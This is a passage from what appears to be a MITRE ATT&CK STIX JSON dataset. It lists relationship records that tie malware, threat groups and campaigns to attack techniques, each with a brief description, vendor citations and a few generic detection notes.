Conficker","url":"https://web.archive.org/web/20200125132645/https://www.sans.org/security-resources/malwarefaq/conficker-worm","description":"Burton, K. (n.d.). The Conficker Worm. Retrieved February 18, 2021."},{"source_name":"Trend Micro Conficker","url":"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/conficker","description":"Trend Micro. (2014, March 18). Conficker. Retrieved February 18, 2021."}],"modified":"2021-10-14T16:53:14.464Z","description":"[Conficker](https://attack.mitre.org/software/S0608) adds keys to the Registry at HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services and various other Registry locations.(Citation: SANS Conficker)(Citation: Trend Micro Conficker)","relationship_type":"uses","source_ref":"malware--58eddbaf-7416-419a-ad7b-e65b9d4c3b55","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1509c545-be16-42be-8ec8-140b13f74555","created":"2024-03-12T19:48:20.036Z","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 3 February 2024","description":"Lin, M. et al. (2024, February 27). Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts. Retrieved March 1, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-12T19:48:20.036Z","description":"During [Cutting Edge](https://attack.mitre.org/campaigns/C0029), threat actors used the publicly available Interactsh tool to identify Ivanti Connect Secure VPNs vulnerable to CVE-2024-21893.(Citation: Mandiant Cutting Edge Part 3 February 2024)","relationship_type":"uses","source_ref":"campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9","target_ref":"attack-pattern--5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--150e1b1c-a575-4542-a66e-c1646212744b","type":"relationship","created":"2020-06-29T03:10:22.271Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ComRAT May 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf","description":"Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."}],"modified":"2020-06-29T04:05:19.132Z","description":"[ComRAT](https://attack.mitre.org/software/S0126) has used a portable FAT16 partition image placed in %TEMP% as a hidden file system.(Citation: ESET ComRAT May 2020)","relationship_type":"uses","source_ref":"malware--da5880b4-f7da-4869-85f2-e0aba84b8565","target_ref":"attack-pattern--dfebc3b7-d19d-450b-81c7-6dafe4184c04","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--150f7dbe-3e64-4ee4-a621-6d416e53af63","created":"2022-08-11T22:35:49.737Z","x_mitre_version":"0.1","external_references":[{"source_name":"Checkpoint MosesStaff Nov 2021","url":"https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/","description":"Checkpoint Research. (2021, November 15). Uncovering MosesStaff techniques: Ideology over Money. Retrieved August 11, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[DCSrv](https://attack.mitre.org/software/S1033) has created Registry keys for persistence.(Citation: Checkpoint MosesStaff Nov 2021)","modified":"2022-08-11T22:35:49.737Z","relationship_type":"uses","source_ref":"malware--5633ffd3-81ef-4f98-8f93-4896b03998f0","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--151da49e-c3ee-4615-b62e-c8a3c93a32a6","created":"2022-06-09T14:47:59.956Z","x_mitre_version":"0.1","external_references":[{"source_name":"ESET DazzleSpy Jan 2022","url":"https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/","description":"M.Léveillé, M., Cherepanov, A.. (2022, January 25). Watering hole deploys new macOS malware, DazzleSpy, in Asia. Retrieved May 6, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[MacMa](https://attack.mitre.org/software/S1016) has used a custom JSON-based protocol for its C&C communications.(Citation: ESET DazzleSpy Jan 2022)","modified":"2022-06-09T14:47:59.956Z","relationship_type":"uses","source_ref":"malware--bdee9574-7479-4073-a7dc-e86d8acd073a","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--151dd9ac-7e33-4580-a4a4-09f71fa73f51","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/n1nj4sec/pupy","description":"Nicolas Verdier. (n.d.). Retrieved January 29, 2018.","source_name":"GitHub Pupy"}],"modified":"2019-04-24T17:52:48.039Z","description":"[Pupy](https://attack.mitre.org/software/S0192) can upload and download to/from a victim machine.(Citation: GitHub Pupy)","relationship_type":"uses","source_ref":"tool--cb69b20d-56d0-41ab-8440-4a4b251614d4","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1525d82a-05a7-4027-9d2d-02f8039d68b5","created":"2022-03-22T15:32:50.210Z","x_mitre_version":"1.0","external_references":[{"source_name":"Microsoft NICKEL December 2021","url":"https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe","description":"MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Ke3chang](https://attack.mitre.org/groups/G0004) has used tools to download files to compromised machines.(Citation: Microsoft NICKEL December 2021)","modified":"2022-04-15T17:25:01.727Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--152e1225-7b28-4954-85f1-ebd4300b6ab6","created":"2022-09-08T15:11:29.680Z","revoked":false,"external_references":[{"source_name":"McAfee Night Dragon","description":"McAfee® Foundstone® Professional Services and McAfee Labs™. (2011, February 10). Global Energy Cyberattacks: “Night Dragon”. Retrieved February 19, 2018.","url":"https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-15T20:11:55.560Z","description":"During [Night Dragon](https://attack.mitre.org/campaigns/C0002), threat actors deployed [ASPXSpy](https://attack.mitre.org/software/S0073) on compromised web servers.(Citation: McAfee Night Dragon)","relationship_type":"uses","source_ref":"campaign--ae407e32-87e0-4d92-8705-3ae25d504d8a","target_ref":"malware--56f46b17-8cfa-46c0-b501-dd52fef394e2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--152f2412-dbba-48b7-bbe9-612798f3ac23","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Bisonal July 2018","description":"Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/"},{"source_name":"Kaspersky CactusPete Aug 2020","url":"https://securelist.com/cactuspete-apt-groups-updated-bisonal-backdoor/97962/","description":"Zykov, K. (2020, August 13). CactusPete APT group’s updated Bisonal backdoor. Retrieved May 5, 2021."},{"source_name":"Talos Bisonal Mar 2020","url":"https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html","description":"Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022."}],"modified":"2022-01-26T21:16:54.680Z","description":"[Bisonal](https://attack.mitre.org/software/S0268) will delete its dropper and VBS scripts from the victim’s machine.(Citation: Unit 42 Bisonal July 2018)(Citation: Kaspersky CactusPete Aug 2020)(Citation: Talos Bisonal Mar 2020)","relationship_type":"uses","source_ref":"malware--65ffc206-d7c1-45b3-b543-f6b726e7840d","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1530b5b9-a559-42ac-a668-8133cb18e944","type":"relationship","created":"2021-10-14T12:24:43.601Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro KillDisk 2","url":"https://www.trendmicro.com/en_us/research/18/a/new-killdisk-variant-hits-financial-organizations-in-latin-america.html","description":"Gilbert Sison, Rheniel Ramos, Jay Yaneza, Alfredo Oliveira. (2018, January 15). KillDisk Variant Hits Latin American Financial Groups. Retrieved January 12, 2021."}],"modified":"2021-10-14T12:24:43.601Z","description":"[KillDisk](https://attack.mitre.org/software/S0607) has used the FindNextFile command as part of its file deletion process.(Citation: Trend Micro KillDisk 2)","relationship_type":"uses","source_ref":"malware--e221eb77-1502-4129-af1d-fe1ad55e7ec6","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1539eaf6-e4ea-4e9d-af2b-2594d1ca5b38","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco H1N1 Part 2","description":"Reynolds, J.. (2016, September 14). H1N1: Technical analysis reveals new capabilities – part 2. Retrieved September 26, 2016.","url":"http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2"}],"modified":"2019-04-29T18:23:15.997Z","description":"[H1N1](https://attack.mitre.org/software/S0132) has functionality to copy itself to network shares.(Citation: Cisco H1N1 Part 2)","relationship_type":"uses","source_ref":"malware--f8dfbc54-b070-4224-b560-79aaa5f835bd","target_ref":"attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1542332b-788b-4c1e-b5e5-69d032cb7814","created":"2023-07-31T17:44:00.619Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"},{"source_name":"Microsoft Volt Typhoon May 2023","description":"Microsoft Threat Intelligence. (2023, May 24). Volt Typhoon targets US critical infrastructure with living-off-the-land techniques. Retrieved July 27, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2023/05/24/volt-typhoon-targets-us-critical-infrastructure-with-living-off-the-land-techniques/"},{"source_name":"Joint Cybersecurity Advisory Volt Typhoon June 2023","description":"NSA et al. (2023, May 24). People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection. Retrieved July 27, 2023.","url":"https://media.defense.gov/2023/May/24/2003229517/-1/-1/0/CSA_Living_off_the_Land.PDF"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-11T20:16:13.641Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has used compromised devices and customized versions of open source tools such as [FRP](https://attack.mitre.org/software/S1144) (Fast Reverse Proxy), Earthworm, and [Impacket](https://attack.mitre.org/software/S0357) to proxy network traffic.(Citation: Microsoft Volt Typhoon May 2023)(Citation: Joint Cybersecurity Advisory Volt Typhoon June 2023)(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--15455c48-f71c-480d-91b8-e41f12608705","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Trojan.Hydraq Jan 2010","description":"Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.","url":"https://www.symantec.com/connect/blogs/trojanhydraq-incident"},{"source_name":"Symantec Hydraq Jan 2010","description":"Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99"}],"modified":"2020-02-18T03:48:53.730Z","description":"[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can load and call DLL functions.(Citation: Symantec Trojan.Hydraq Jan 2010)(Citation: Symantec Hydraq Jan 2010)","relationship_type":"uses","source_ref":"malware--73a4793a-ce55-4159-b2a6-208ef29b326f","target_ref":"attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1547f28f-d6b7-43cc-8b89-0eaa524648b8","type":"relationship","created":"2019-01-29T19:55:48.181Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf","source_name":"Kaspersky Turla Aug 2014"}],"modified":"2019-07-26T16:10:43.023Z","description":"[Epic](https://attack.mitre.org/software/S0091) collects the user name from the victim’s machine.(Citation: Kaspersky Turla Aug 2014)","relationship_type":"uses","source_ref":"malware--6b62e336-176f-417b-856a-8552dd8c44e1","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--15489699-7ea0-473f-a4cd-5bc9e05e2104","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET InvisiMole June 2018","description":"Hromcová, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.","url":"https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/"}],"modified":"2020-03-28T00:57:47.307Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) has a command to disable routing and the Firewall on the victim’s machine.(Citation: ESET InvisiMole June 2018)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--154d0730-b087-46ce-9ae2-b1a551ff4ab8","created":"2023-03-17T14:40:58.712Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Lazarus Jun 2020","description":"Breitenbacher, D and Osis, K. (2020, June 17). OPERATION IN(TER)CEPTION: Targeted Attacks Against European Aerospace and Military Companies. Retrieved December 20, 2021.","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_Operation_Interception.pdf"},{"source_name":"McAfee Lazarus Jul 2020","description":"Cashman, M. (2020, July 29). Operation North Star Campaign. Retrieved December 20, 2021.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-a-job-offer-thats-too-good-to-be-true/?hilite=%27Operation%27%2C%27North%27%2C%27Star%27"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-07T23:11:26.335Z","description":"During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) disguised malicious template files as JPEG files to avoid detection.(Citation: McAfee Lazarus Jul 2020)(Citation: ESET Lazarus Jun 2020)","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--208884f1-7b83-4473-ac22-4e1cf6c41471","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--155554a0-2a5b-44e3-9942-562b8b0e30c0","created":"2023-10-03T03:36:18.645Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-03T03:36:18.645Z","description":"Monitor changes made to configuration files that contain settings for logging and defensive tools.","relationship_type":"detects","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1555866c-1eca-4de3-aded-d745fdd47d1c","created":"2022-09-26T18:00:22.254Z","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-26T18:00:22.254Z","description":"The [FunnyDream](https://attack.mitre.org/software/S1044) FilepakMonitor component can detect removable drive insertion.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"malware--be25c1c0-1590-4219-a3d5-6f31799d1d1b","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--15563e89-85cc-4092-a359-4351999bb9f3","created":"2023-04-13T21:41:16.695Z","revoked":false,"external_references":[{"source_name":"HP SVCReady Jun 2022","description":"Schlapfer, Patrick. (2022, June 6). A New Loader Gets Ready. Retrieved December 13, 2022.","url":"https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-13T21:41:16.695Z","description":"[SVCReady](https://attack.mitre.org/software/S1064) has named a task `RecoveryExTask` as part of its persistence activity.(Citation: HP SVCReady Jun 2022)","relationship_type":"uses","source_ref":"malware--7230ded7-3b1a-4d6e-9735-d0ffd47af9f6","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1558f550-390d-4c40-a2f7-c9aa1fcf9f1b","type":"relationship","created":"2021-03-25T14:49:34.787Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Zscaler APT31 Covid-19 October 2020","url":"https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online","description":"Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021."}],"modified":"2021-03-25T14:49:34.787Z","description":"[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used a tool to query the Registry for proxy settings.(Citation: Zscaler APT31 Covid-19 October 2020)","relationship_type":"uses","source_ref":"intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1559cb81-bdb5-4662-a061-eca96e6b7a63","created":"2022-03-30T14:26:51.842Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for unexpected and abnormal accesses to network shares.","modified":"2022-04-14T13:17:31.151Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--f5468e67-51c7-4756-9b4f-65707708e7fa","target_ref":"attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--155a8883-7b22-4fa8-8d2f-bd76c8efd5b3","type":"relationship","created":"2020-11-06T18:40:38.186Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf","description":"Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.","source_name":"cobaltstrike manual"},{"url":"https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf","description":"Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.","source_name":"Cobalt Strike TTPs Dec 2017"},{"source_name":"Cobalt Strike Manual 4.3 November 2020","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021."}],"modified":"2021-10-18T19:51:49.568Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can use [PsExec](https://attack.mitre.org/software/S0029) to execute a payload on a remote host. It can also use Service Control Manager to start new services.(Citation: cobaltstrike manual)(Citation: Cobalt Strike TTPs Dec 2017)(Citation: Cobalt Strike Manual 4.3 November 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--15665bbf-2c42-4232-a5c1-b01ffea13041","type":"relationship","created":"2020-01-24T13:51:01.423Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-24T13:51:01.423Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--ce4b7013-640e-48a9-b501-d0025a95f4bf","target_ref":"attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1567be6a-0231-4605-b92b-ae1bc5e1bb4e","type":"relationship","created":"2020-09-22T20:17:38.769Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks REvil September 2019","url":"https://www.secureworks.com/research/revil-sodinokibi-ransomware","description":"Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020."}],"modified":"2020-09-22T20:17:38.769Z","description":"[GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) has breached Managed Service Providers (MSP's) to deliver malware to MSP customers.(Citation: Secureworks REvil September 2019)","relationship_type":"uses","source_ref":"intrusion-set--c77c5576-ca19-42ed-a36f-4b4486a84133","target_ref":"attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1567d198-b2b9-4eda-a2e2-ba5dd4e51547","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021.","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf"},{"source_name":"Github Koadic","description":"Magius, J., et al. (2017, July 19). Koadic. Retrieved September 27, 2024.","url":"https://github.com/offsecginger/koadic"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-27T18:36:30.834Z","description":"[Koadic](https://attack.mitre.org/software/S0250) can use mshta to serve additional payloads and to help schedule tasks for persistence.(Citation: Github Koadic)(Citation: MalwareBytes LazyScripter Feb 2021) ","relationship_type":"uses","source_ref":"tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4","target_ref":"attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1567eaca-2b2e-44df-b447-87769738e00a","type":"relationship","created":"2020-05-18T19:37:52.331Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro POWERSTATS V3 June 2019","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/","description":"Lunghi, D. and Horejsi, J.. (2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020."}],"modified":"2020-05-18T19:37:52.331Z","description":"[POWERSTATS](https://attack.mitre.org/software/S0223) has the 